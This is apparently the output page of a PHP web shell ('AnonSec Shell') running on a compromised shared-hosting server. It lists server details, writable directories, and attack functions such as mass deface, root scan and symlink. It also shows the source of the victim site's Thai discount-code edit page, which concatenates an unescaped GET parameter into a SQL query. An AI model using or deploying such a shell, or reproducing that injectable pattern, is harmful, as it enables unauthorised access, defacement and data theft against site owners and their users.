AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/wallpaper/backend/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/wallpaper/backend/code/edit.php
<?php require_once("../include/class.php");?>
<?php require_once("../include/header.php");?>
<?php require_once("../include/nav_top.php");?>
<?php require_once("../include/sidebar.php");?>
<?php include("table_name.php");?>
<?php include('../include/sql_injection_get.php');?>
<?php
if(!is_numeric($_GET["id"]))
{
	?>
	<meta http-equiv="refresh" content="0;URL=../index.php">
	<?php
}
?>


<div id="main-content">
  <div class="container-fluid">

    <ul class="breadcrumb">
      <li><a href="../<?php echo $name_folder ?>/list.php"><?php echo ucfirst($name_table) ?></a><span class="divider">&raquo;</span></li>

      <li class="active">Edit</li>
    </ul>




    <div class="row-fluid">
			<div class="span12">
				<div class="nonboxy-widget">
					<div class="widget-head">
						<h5><i class="black-icons blocks_images"></i> From  </h5>
					</div>


                    <?php
                    $sql = array('table'=>$name_table,'where'=>"id = '". $_GET["id"]."'");
                    $view_sql = $view_db->view($sql);
                    $row = $view_db->q($view_sql);
                    ?>

					<div class="widget-content">
						<div class="widget-box">
              <form class="form-horizontal well" id="signupform_product" action="edit_save.php" method="post" enctype="multipart/form-data">
								<fieldset>

									<div class="control-group">
										<label class="control-label">รหัส :</label>
										<div class="controls">
											<?php echo $row['code']; ?>

										</div>
									</div>

                <div class="control-group">
										<label class="control-label">ราคาส่วนลด</label>
										<div class="controls">
											<input id="money" name="money" type="text" class="span4" value="<?php echo $row['money']; ?>"/>
                      <select name="type">
                      	<option value="1" <?php if($row['type'] == 1){ ?>selected<?php }?>>บาท</option>
                          <!--<option value="2" <?php if($row['type'] == 2){ ?>selected<?php }?>>เปอร์เซ็นต์</option>-->
                          <option value="3" <?php if($row['type'] == 3){ ?>selected<?php }?>>ลดเหลือ 0 บาท</option>
                      </select>

										</div>
									</div>

								    <?php
                  $today = date('d-m-Y');
									$arr_getnumber = explode('-',$row["expirationdate"]);
									$expirationdate = $arr_getnumber[2].'-'.$arr_getnumber[1].'-'.$arr_getnumber[0];
									?>
                  <div class="input-append date" id="datepicker" data-date="<?php echo $expirationdate; ?>" data-date-format="dd-mm-yyyy">
                      <div class="control-group">
                          <label class="control-label"> วันหมดอายุ :</label>
                          <div class="controls">
                              <div class="input-append">
                                  <input size="16" type="text"  name="expirationdate" value="<?php echo $expirationdate; ?>">
                                  <span class="add-on margin-fix"><i class="icon-th"></i></span>
                              </div>
                          </div>
                      </div>
                  </div>

									<div class="control-group">
										<label class="control-label">จำนวนสูงสุดที่ใช้ได้</label>
										<div class="controls">
											<input id="num_code2" name="num_code2" type="text" class="span8" value="<?php echo $row['max']; ?>"/>
										</div>
									</div>
								</fieldset>
								<div class="form-actions">
                  <input type="hidden" name="id" value="<?php echo $row['id']; ?>">
									<button class="btn btn-primary" type="submit">Save changes</button>
									<a href="list.php" class="btn" role="button">Cancel</a>
								</div>
							</form>


							</div>
						</div>
					</div>
				</div>
			</div>

	</div>





  </div>
</div>

<?php require_once("../include/footer_js.php");?>
</body>
</html>

Anon7 - 2022
AnonSec Team